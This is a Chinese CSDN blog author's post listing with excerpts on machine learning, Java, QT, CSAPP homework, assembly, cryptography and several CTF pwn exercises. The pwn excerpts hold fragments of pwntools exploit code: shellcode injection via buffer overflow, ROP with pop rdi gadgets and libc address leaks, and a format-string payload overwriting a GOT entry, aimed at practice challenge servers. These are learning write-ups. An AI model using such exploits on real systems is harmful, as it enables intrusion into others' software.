自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(47)
  • 问答 (1)
  • 收藏
  • 关注

原创 Logistics Regression公式推导

以前一直以为逻辑回归的公式(sigmoid函数)是人为臆造的,学了机器学习课程才知道,它的背后是有贝叶斯定理这样的数学理论支撑的。回顾贝叶斯分类器,贝叶斯分类器是一种生成式学习方。为了获取P(Y∣X)P(Y|X)P(Y∣X),我们将它转化为P(Y)P(Y)P(Y)和P(X|Y),然后从数据集中估计这两个参数。那么问题来了,我们是否可以直接估计P(Y∣X)P(Y|X)P(Y∣X)呢?在逻辑回归模型中,我们做如下假设:设XXX是一个实数值矩阵,表示nnn个特征,<X1,X2,…,Xn>&lt

2021-10-20 20:00:15 314

原创 Sentinel圣天诺加密狗简单使用教程(Linux)

前言:帮学校的学长做了个Ubuntu的软件,需要给软件加密,用到了加密狗,在网上挑了很多,大都不支持Linux下ELF文件的加密,最后终于找到了Sentinel加密狗支持我们的需求,当然这个进口货也很贵,写一篇博客来记录一下使用方法。环境配置购买Sentinel的加密狗一般包括两个U盘,一个是主锁(Master key),一个是子锁。主锁只能用来加密,不能用来解密;子锁只能用来解密,不能用来加密。例如下图,我购买的产品,蓝色的是主锁,紫色的子锁。一般而言,主锁比较贵(例如我们购买的主锁400多RMB),

2021-10-17 21:17:51 11740 1

原创 pwntools连gdb一例

from pwn import *context(os='linux', arch='amd64', log_level='debug')shellcode = asm(shellcraft.sh())io = process('./shellcode')gdb.attach(io, 'b *0x4012b7')name_addr = 0x4040a0payload = shellcode + 'a'*(0x40-len(shellcode)) + p64(0x4040a0)io.rec

2021-10-17 21:17:36 398

原创 通过系统调用open来查看flag

这段代码中while有一个无法退出的循环,不能通过ROP获取flag,只能在代码中执行open函数。我们希望构造这样的代码来拿到flag:int fd = open("flag", READONLY);read(fd, buf, 100);print(buf);在程序中寻找可以利用的修改rax、rdi、rsi、rdx的语句(64位程序通过寄存器传参,rax用于系统调用):具体能利用的地方在:0x4008a1 : pop rsi ; pop r15 ; ret0x4008a3 : .

2021-10-17 21:17:14 250

原创 64位传参利用方法&LibcSearcher使用入门&ROPgadget利用

ROP,需要通过puts函数泄露read函数地址,ROP时用puts函数的地址覆盖返回地址,用read函数的GOT表地址作为puts的参数传入。但是64位程序的函数传参是通过寄存器+堆栈的方式,因此无法直接通过栈溢出写入参数。解决方法是:在程序中寻找一处pop %rdi的指令,将数据写入rdi寄存器。在程序中寻找pop %rdi需要一个叫ROPgadget的工具。Linux指令:ROPgadget --binary pwn | grep "pop rdi"查到在程序的0x400763地址处存在一个

2021-10-17 21:16:50 1033

原创 字符串格式化漏洞修改GOT表一例

代码如下:from pwn import *context(arch='amd64', os='linux')elf = ELF("./pwn")io = remote("111.200.241.244", 56315)catflag_addr = 0x4008DAputs_got = elf.got['puts']payload = fmtstr_payload(6, {puts_got: catflag_addr})io.recvuntil("3. Exit the battle")i

2021-10-17 21:16:40 812

原创 pwn入门-PLT表与GOT表、libc入门

动态链接时,一个程序PLT表中的内容始终不变,仅在程序加载时修改GOT表中的内容。PLT表中的每个表项指向对应函数在GOT表中的地址(偏移),每次加载程序都相同。程序加载后GOT表中的每个表项保存的是函数在共享区的绝对地址,每次加载都不相同。代码如下:from pwn import *io = remote("111.200.241.244", 49167)elf = ELF("./level3")libc = ELF("./libc_32.so.6")write_plt = elf.plt[

2021-10-17 21:16:24 805

原创 QT学习笔记

首先安装QT时要选择下面三个组件:然后新建工程,我们用QWidget类作为父类。在main方法中,第一句QApplication a(argc, argv);a是应用程序对象,有且仅有一个Widget w; //窗口对象,继承自QWidget窗口对象默认不会显式,需要调用show方法显式窗口w.show();最后一行return a.exec();的作用是让应用程序对象a进入消息循环机制,让代码阻塞在这一行,点击叉之后退出循环,程序结束。然后来看widget.cpp,所写程序的大部分

2021-10-15 14:09:11 125

原创 如何设计复用性较好的类?

代码复用的几个级别:源代码级别的复用模块级别的复用(类/抽象类/接口)库级别的复用(API)系统级别的复用:框架白盒复用:源代码可见、可扩展、可修改黑盒复用:源代码不可见,只可调用API找源代码的几个网站:grepcode.comgithub.comsearchcode.com本文主要介绍模块级别的复用——类/接口复用一个类的方式——继承、委托继承继承时,子类将继承父类的所有功能。子类可以override父类的功能,也可以在父类的基础上,增加新的功能。在实现继承类之前,最

2021-10-15 14:09:01 203

原创 两种重要的图——Snapshot diagram & UML diagram

Snapshot diagram (代码快照图)用于描述程序运行时的内部状态,包括堆和栈的调用。刻画各类变化随时间的变化,描述各类概念如:原始类型/对象类型,不可变对象/可变对象,引用别名刻画基本类型的值:直接用一个箭头指向它。刻画对象类型的值:用圈圈起来,再用一个箭头指向它,在圈的里面有一个label来标识它的类型。圈的内部可以包含类的各个属性(基本类型/对象类型),一个箭头由属性的名字指向属性的值。不可变对象的值用双线椭圆来表示,如String,下图中s所指向的String对象就发生了改

2021-10-15 14:08:44 227

原创 ICS大作业——程序人生 Hello‘s P2P

2021-10-15 14:08:30 98

原创 通俗理解checked Exception和unchecked Exception

首先放一张Java异常层次结构图:错误(Error)和异常(Exception)是不同的。Error(错误):是程序无法处理的错误,表示运行应用程序中较严重问题。大多数错误与代码编写者执行的操作无关,而表示代码运行时JVM(Java虚拟机)出现的问题。例如,Java虚拟机运行错误(Virtual MachineError),当JVM不再有继续执行操作所需要的内存资源时,将出现OutOfMemoryError。这些异常发生时,Java虚拟机(JVM)一般会选择线程终止。Exception(异常):是程

2021-10-15 14:08:15 2064

原创 一个write和printf混用的例子

我们知道,C语言中,write和printf都可以完成向屏幕输出的任务。但是write是不带缓冲的输出,printf是带缓冲的输出。当它们二者混用时,就会出现一些意料之外的问题。请看下面的代码#include <stdio.h>#include <unistd.h>int main(){ printf("1"); write(STDOUT_FILENO, "2", 1); printf("3"); write(STDOUT_FILENO,

2021-10-15 14:08:02 473

原创 程序人生 Hello‘s P2P

2021-10-15 14:07:49 103

原创 Testing and Test-First Programming

Testing levelsUnit testing 单元测试测试某一小部分代码的正确性,尤其是测试某个函数。Integration testing 集成测试The combined execution of 2 or more classes, packages, components, subsystems that have been created by multiple programmers or programming teams.System testing 系统测试测试一整个

2021-10-15 14:06:24 170

原创 软件构造的视图与质量指标

软件构造的实质:Transformation between different views(不同视图之间的转换)Multi-dimensional software views按阶段分:build and run-time views按动态性分:moment and period views按构造对象的层次分:code and component viewsTransformation between different viewsNothing -> CodeCode ->

2021-10-15 14:06:01 186

原创 Maven学习笔记

Maven的基本概念Apache Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project’s build, reporting and documentation from a central piece of information.使用Maven可以方便地进行项目依赖管理

2021-10-15 14:05:08 109

原创 Eclipse中Git的使用与Junit单元测试的编写

目录新建项目添加项目到Git复习Git命令行操作在eclipse中使用git的基本操作在eclipse中使用git pusheclipse中Junit的使用新建项目首先在eclipse中新建一个Java project,取名为ExamplePrj。注意在创建项目时可以选择项目路径、JRE版本,这里我们都选择默认设置。然后直接Finish。这里默认会创建一个module-info,直接取默认名字,Create即可。这一步仍然点击默认的open。创建成功,在Package E

2021-10-12 19:57:58 224

原创 CSAPP第4章家庭作业参考答案

4.45不正确push %rsp的指令会将rsp减8之前的old value压栈应该是如下代码:movq REG, -8(%rsp)sub $8, %rsp4.46不正确应该改为add $8, %rspmovq -8(%rsp), REG4.47#include<stdio.h>long int a[100] = {3, 1, 4, 1, 5, 9, 2, 6, 5, 3};void bubble_b(long *data, long count){ lon

2021-10-12 19:57:48 772

原创 CSAPP第7章家庭作业参考答案

7.6buf 有 m.o 外部 .databufp0 有 swap.o 全局 .databufp1 有 swap.o 局部 .bssincr 有 swap.o 局部 .textcount 有 swap.o 局部 .bssswap 有 swap.o 全局 .texttemp 无7.7在bar5.c中声明x的时候使用static ,使其链接为内部链接:/* bar5.c */static double x;void f(){ x = -0.0;}7.8A.(a) RE

2021-10-12 19:56:40 2485 1

原创 CSAPP第3章家庭作业答案

3.58long decode2(long x, long y, long z){ //x in %rdi, y in %rsi, z in %rdx y -= z; x *= y; long ret = y; ret <<= 63; ret >>= 63; ret ^= x; return ret;}3.593.60long loop(long x, int n){ //x in %rdi, n in %esi long result =0; l

2021-10-12 19:56:08 2992 1

原创 如何在C语言中巧妙地避免使用if语句?

近期在做CSAPP的homework时碰到一些题目,代码中不允许使用if语句,于是聪明的同学们想出了一个巧妙的办法,利用C语言中与运算符&&的"短路"特性完成了这个任务。例如,如果C语言原语句是if(x > y) a = x;为了去掉这个if,可以使用以下的一行语句(x > y) && (a = x)这样一来,当x > y时,会计算后面的表达式a = x的值,而这个表达式的另一个效果就是给a赋值为x;当x <= y时,由于&&a

2021-10-12 19:55:23 1049 2

原创 ICS汇编学习笔记——操作数寻址方式

指令由操作码和操作数组成操作数寻址方式有三大种:立即数寻址:MOV EAX,12345678H寄存器寻址:MOV EAX,EBX存储器寻址:MOV EAX,DS:[20000H]主要来看存储器寻址:SREG:D(Rb,Ri,S) 段寄存器可用默认,省略段址:[基地址Rb+变址Ri*比例因子S+偏移D],这三部分可以任意组合。32位以上CPU才有比例因子(1/2/4/8)。直接寻址:MOV AX,[1000H]寄存器间接寻址:MOV AX,[BX]寄存器相对寻址:MOV AX,[BX+

2021-10-12 19:54:45 326

原创 ICS汇编学习笔记——8086的指令系统

8086/8088的指令系统包含了六种类型,其中数据传送指令14条,算术运算指令20条,逻辑运算指令13条,串操作指令10条,控制转移指令28条,处理器控制指令12条。1)数据传送类指令(14条)MOV: 传送PUSH、POP:堆栈操作XCHG:交换IN、OUT:外设(端口)输入输出XLAT:转换/换码/翻译 DS:[BX+AL]=>ALLEA、LDS、LES:地址传送(计算)PUSHF/POPF、LAHF/SAHF:标志传送2)算术运算类指令指令(20条)ADD、ADC、AAA

2021-10-12 19:54:17 1506

原创 ICS汇编学习笔记——8086中的寄存器

程序执行两大部件:总线接口单元(BIU) 执行单元(EU)指令和数据都在内存中BIU与EU是并行执行的BIU负责取指令和存取操作数EU负责译码和指令的执行8086的8个16位通用寄存器AX, BX, CX, DXSI, DI, BP, SP4个数据寄存器AX——累加器,使用频度最高,用于算术、逻辑运算以及与外设传送信息等;BX——基址寄存器,常用做存放存储器地址;数组首地址。CX——计数器,作为循环和串操作等指令中的隐含计数器;DX——数据寄存器,常用来存放双字长数据的..

2021-10-12 19:53:17 393

原创 国密算法SM3(杂凑算法)

国家密码管理局关于发布《SM3密码杂凑算法》公告SM3密码杂凑算法JavaScript对本算法的一个实现:https://github.com/wcube/sm-crypto

2021-10-12 19:53:01 529

原创 Introduction to Automata Theory, Languages, and Computation部分习题解答

Here are the solutions !内容转自Stanford网站。

2021-10-12 19:51:36 774

原创 无法上外网又需要同步Gradle

如果你只能上国内的网站,然后你又需要sync gradle,那你需要在build.gradle文件中加入下面的四个maven{}部分的内容,再sync就能成功。// Top-level build file where you can add configuration options common to all sub-projects/modules.buildscript { repositories { //这里添加两个maven{} maven {

2021-10-10 10:14:42 102

原创 收藏的电脑壁纸

2021-10-10 10:14:30 93

原创 IPFS(星际文件系统)的安装与使用

本教程系统环境:Windows10其他系统下的安装教程可以参考IPFS官方文档Step 1按下windows键+R,输入powershell,点击运行,打开PS终端。Step 2在PS中下载安装go-ipfs终端,通过以下命令完成cd ~\ #移动到系统根目录wget https://dist.ipfs.io/go-ipfs/v0.8.0/go-ipfs_v0.8.0_windows-amd64.zip -Outfile go-ipfs_v0.8.0.zip #下载最新版本的go-ip

2021-10-10 10:13:47 1358

原创 汇编语言快速入门学习笔记

程序计数器(PC)在x86-64中用%rip表示,其中给出了将要执行的下一条指令在内存中的地址在Linux下查看汇编代码的两种方式:对于一可执行文件hello,使用objdump -d hello即可在控制台打印其反汇编代码在编译C代码时,使用gcc的-S参数生成汇编代码文件,可以用文本编辑器查看gcc -Og -S hello.c -o hello.s所有以.开头的行都是知道汇编器和链接器工作的伪指令,通常可以忽略。AT&T与Intel汇编代码格式:两种格式在许多..

2021-10-10 10:13:35 1114

原创 Linux GCC用法

GCC原名为GNU C语言编译器(GNU C Compiler),只能处理C语言。但其很快扩展,变得可处理C++,后来又扩展为能够支持更多编程语言,如Fortran、Pascal、Objective -C、Java、Ada、Go以及各类处理器架构上的汇编语言等,所以改名GNU编译器套件(GNU Compiler Collection。在使用gcc编译程序时,编译过程可以细分为4个阶段:预处理(Pre-Processing)编译(Compiling)汇编(Assembling)链接(Linki.

2021-10-10 10:13:22 123

原创 基于以太坊的分布式投票系统solidity合约代码

pragma solidity ^ 0.4.26;contract Ballot { string public name; //投票的名称,name of the Ballot address public chairman; //合约拥有者的地址 bool public closed; // 记录投票是否结束 // 获胜票数比例 uint public proportion; // 获胜时得票数占总票数的最低比例, 例如50%就赋值为50 u

2021-10-10 10:13:10 242

原创 人工智能-基于U^2-Net的肖像画生成算法

算法总体是在去年提出的U^2-Net(remove background)的基础上实现了人物肖像的生成,并且较好地将细节复刻了下来。论文地址:https://arxiv.org/pdf/2005.09007.pdfGitHub项目:https://github.com/NathanUA/U-2-NetCSDN解说:https://blog.csdn.net/dqcfkyqdxym3f8rb0/article/details/110151789亲身实验测试:...

2021-10-10 10:12:51 208

原创 Idea常用快捷键

Idea修改快捷键绑定在工具栏点击File-Settings在弹出的窗口中单击Keymap如上图所示,点击齿轮后选择"Duplicate",然后按下回车,以创建当前快捷键绑定的备份。之后即可在选项卡中修改自己想设定的快捷键。代码自动补全提示 Alt+/ (非默认)光标处代码修正 Alt+Enter重做 Ctrl+Y (非默认)复制光标所在行 Ctrl+D格式化代码 Shift+Alt+F (非默认)注释单行/多行 Ctrl+/自动生成getter、setter方法 Alt+Ins

2021-10-10 10:12:34 80

原创 椭圆曲线密码学(ECC)原理

1.椭圆曲线的定义满足以下形式二元三次方程的点集y2+axy+by=x3+cx2+dx+e(其中a,b,c,d是实数) y^2+axy+by=x^3+cx^2+dx+e (其中a,b,c,d是实数) y2+axy+by=x3+cx2+dx+e(其中a,b,c,d是实数)称为椭圆曲线。ECC中最常用的椭圆曲线方程是:y2=x3+ax+b(a,b∈GF(p),4a3+27b2≠0) y^2=x^3+ax+b(a,b \in GF(p), 4a^3+27b^2 \ne 0) y2=x3+ax+b(a,b

2021-10-10 10:12:21 2119 1

原创 【转载】如何在服务器上部署Jupyter

怎样在服务器部署Jupyter Notebook

2021-10-09 18:52:37 142

原创 简单分组密码

分组密码(block cipher)的数学模型是将明文消息编码表示后的数字(简称明文数字)序列,划分成长度为n的组,每组分别在密钥的控制下变换成等长的密文。常见的分组密码有DES、AES常见出题思路:普通题目:针对分组模式的攻击、简单结构的攻击困难题目:需使用差分、积分、代数、MITM分组模式ECB模式对于每一组密文,使用相同的密钥加密。如果明文相同,那么得到的密文就是相同的,这样会带来一些问题。例如对图片加密时,由于图片中存在大量相同的连续数据,使用ECB模式加密后,可能仅仅相当.

2021-10-09 18:52:14 1536

原创 简单古典密码

1. 简单移位密码m = "{easy_easy_crypto}"k = 3124明文所在位置1234密文所在位置3124flag{easy_easy_crypto}lafgea{s_eyay_scyprt}o攻击方法:肉眼识别/爆破秘钥/根据flag字符串逆推2. 曲路密码明文填入一个表中,并按照一定的曲路遍历攻击方法:逆向通力明文:abcdefghijklmnopqrstuvwxy密文:ejotyxcn

2021-10-09 18:14:00 4052

原创 RSA加密算法原理

背景RSA公开密钥密码体制是一种使用不同的加密密钥与解密密钥,“由已知加密密钥推导出解密密钥在计算上是不可行的”密码体制。在公开密钥密码体制中,加密密钥(即公开密钥)PK是公开信息,而解密密钥(即秘密密钥)SK是需要保密的。加密算法E和解密算法D也都是公开的。虽然解密密钥SK是由公开密钥PK决定的,但却不能根据PK计算出SK。正是基于这种理论,1978年出现了著名的RSA算法,它通常是先生成一对RSA密钥,其中之一是保密密钥,由用户保存;另一个为公开密钥,可对外公开,甚至可在网络服务器中注册。为提高保

2021-10-09 18:12:13 1115

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除